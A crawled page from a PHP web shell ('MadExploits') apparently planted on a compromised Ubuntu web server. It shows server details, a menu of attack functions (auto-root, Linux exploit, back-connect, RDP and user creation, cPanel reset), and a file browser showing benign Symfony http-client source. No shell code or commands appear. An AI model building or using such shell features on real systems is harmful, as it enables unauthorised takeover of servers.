Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 216.73.216.166
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz /
vendor /
symfony /
http-client /
[ HOME SHELL ]
Name
Size
Permission
Action
Chunk
[ DIR ]
drwxrwxr-x
DataCollector
[ DIR ]
drwxrwxr-x
DependencyInjection
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
Internal
[ DIR ]
drwxrwxr-x
Response
[ DIR ]
drwxrwxr-x
AmpHttpClient.php
6.97
KB
-rw-rw-r--
CHANGELOG.md
1.12
KB
-rw-rw-r--
CachingHttpClient.php
5.24
KB
-rw-rw-r--
CurlHttpClient.php
21.62
KB
-rw-rw-r--
HttpClient.php
3.33
KB
-rw-rw-r--
HttpClientTrait.php
24.43
KB
-rw-rw-r--
HttpOptions.php
5.44
KB
-rw-rw-r--
HttplugClient.php
9.47
KB
-rw-rw-r--
LICENSE
1.04
KB
-rw-rw-r--
MockHttpClient.php
3.49
KB
-rw-rw-r--
NativeHttpClient.php
17.8
KB
-rw-rw-r--
NoPrivateNetworkHttpClient.php
3.68
KB
-rw-rw-r--
Psr18Client.php
8.05
KB
-rw-rw-r--
README.md
537
B
-rw-rw-r--
ScopingHttpClient.php
3.51
KB
-rw-rw-r--
TraceableHttpClient.php
2.84
KB
-rw-rw-r--
composer.json
1.52
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ScopingHttpClient.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpClient; use Psr\Log\LoggerAwareInterface; use Psr\Log\LoggerInterface; use Symfony\Component\HttpClient\Exception\InvalidArgumentException; use Symfony\Contracts\HttpClient\HttpClientInterface; use Symfony\Contracts\HttpClient\ResponseInterface; use Symfony\Contracts\HttpClient\ResponseStreamInterface; use Symfony\Contracts\Service\ResetInterface; /** * Auto-configure the default options based on the requested URL. * * @author Anthony Martin <anthony.martin@sensiolabs.com> */ class ScopingHttpClient implements HttpClientInterface, ResetInterface, LoggerAwareInterface { use HttpClientTrait; private $client; private $defaultOptionsByRegexp; private $defaultRegexp; public function __construct(HttpClientInterface $client, array $defaultOptionsByRegexp, string $defaultRegexp = null) { $this->client = $client; $this->defaultOptionsByRegexp = $defaultOptionsByRegexp; $this->defaultRegexp = $defaultRegexp; if (null !== $defaultRegexp && !isset($defaultOptionsByRegexp[$defaultRegexp])) { throw new InvalidArgumentException(sprintf('No options are mapped to the provided "%s" default regexp.', $defaultRegexp)); } } public static function forBaseUri(HttpClientInterface $client, string $baseUri, array $defaultOptions = [], $regexp = null): self { if (null === $regexp) { $regexp = preg_quote(implode('', self::resolveUrl(self::parseUrl('.'), self::parseUrl($baseUri)))); } $defaultOptions['base_uri'] = $baseUri; return new self($client, [$regexp => $defaultOptions], $regexp); } /** * {@inheritdoc} */ public function request(string $method, string $url, array $options = []): ResponseInterface { $url = self::parseUrl($url, $options['query'] ?? []); if (\is_string($options['base_uri'] ?? null)) { $options['base_uri'] = self::parseUrl($options['base_uri']); } try { $url = implode('', self::resolveUrl($url, $options['base_uri'] ?? null)); } catch (InvalidArgumentException $e) { if (null === $this->defaultRegexp) { throw $e; } [$url, $options] = self::prepareRequest($method, implode('', $url), $options, $this->defaultOptionsByRegexp[$this->defaultRegexp], true); $url = implode('', $url); } foreach ($this->defaultOptionsByRegexp as $regexp => $defaultOptions) { if (preg_match("{{$regexp}}A", $url)) { $options = self::mergeDefaultOptions($options, $defaultOptions, true); break; } } return $this->client->request($method, $url, $options); } /** * {@inheritdoc} */ public function stream($responses, float $timeout = null): ResponseStreamInterface { return $this->client->stream($responses, $timeout); } public function reset() { if ($this->client instanceof ResetInterface) { $this->client->reset(); } } /** * {@inheritdoc} */ public function setLogger(LoggerInterface $logger): void { if ($this->client instanceof LoggerAwareInterface) { $this->client->setLogger($logger); } } }
Close